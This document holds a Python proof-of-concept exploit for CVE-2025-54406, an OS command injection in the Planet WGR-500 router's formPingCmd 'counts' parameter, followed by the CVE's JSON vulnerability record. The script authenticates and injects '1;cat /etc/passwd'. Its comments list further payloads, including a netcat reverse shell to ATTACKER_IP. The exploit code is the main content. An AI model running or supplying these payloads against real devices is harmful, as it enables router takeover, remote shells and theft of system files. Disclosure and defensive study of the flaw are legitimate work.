CVE-2025-54406

# CVE-2025-54406 - Planet WGR-500 formPingCmd Command Injection PoC # Vulnerability: OS Command Injection via 'counts' parameter in formPingCmd # CVSS: 8.8 (HIGH) import requests from requests.auth import HTTPBasicAuth TARGET_HOST = "http://192.168.1.1" USERNAME = "admin" # Replace with valid low-privilege credentials PASSWORD = "password" # Replace with valid password # Step 1: Create a session and authenticate session = requests.Session() login_url = f"{TARGET_HOST}/login.cgi" login_data = { "username": USERNAME, "password": PASSWORD } try: # Perform login resp = session.post(login_url, data=login_data, timeout=10) print(f"[*] Login response status: {resp.status_code}") # Step 2: Exploit the command injection via formPingCmd endpoint # The 'counts' parameter is vulnerable to OS command injection exploit_url = f"{TARGET_HOST}/apply.cgi" # Inject arbitrary command after the legitimate ping count value # Example: read /etc/passwd file payload = "1;cat /etc/passwd" exploit_data = { "formPingCmd": "1", "counts": payload, # Vulnerable parameter "pingAddr": "127.0.0.1" } print(f"[*] Sending exploit with payload in 'counts' parameter...") resp = session.post(exploit_url, data=exploit_data, timeout=10) print(f"[*] Response status: {resp.status_code}") print(f"[*] Response body:\n{resp.text}") # Alternative payloads for demonstration: # Reverse shell: counts=1;nc -e /bin/sh ATTACKER_IP 4444 # Command execution: counts=1;id # File write: counts=1;echo 'pwned' > /tmp/pwned except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2025-54406", "sourceIdentifier": "[email protected]", "published": "2025-10-07T14:15:38.643", "lastModified": "2025-11-03T18:16:59.813", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Multiple OS command injection vulnerabilities exist in the formPingCmd functionality of Planet WGR-500 v1.3411b190912. A specially crafted series of HTTP requests can lead to arbitrary command execution. An attacker can send a series of HTTP requests to trigger these vulnerabilities.This command injection is related to the `counts` request parameter."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:planet:wgr-500_firmware:1.3411b190912:*:*:*:*:*:*:*", "matchCriteriaId": "B2595E4C-3CBF-44C8-B4E4-56498F94899E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:planet:wgr-500:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD4C9C5C-B223-4AED-9210-E0ADA4150E0B"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2229", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2229", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}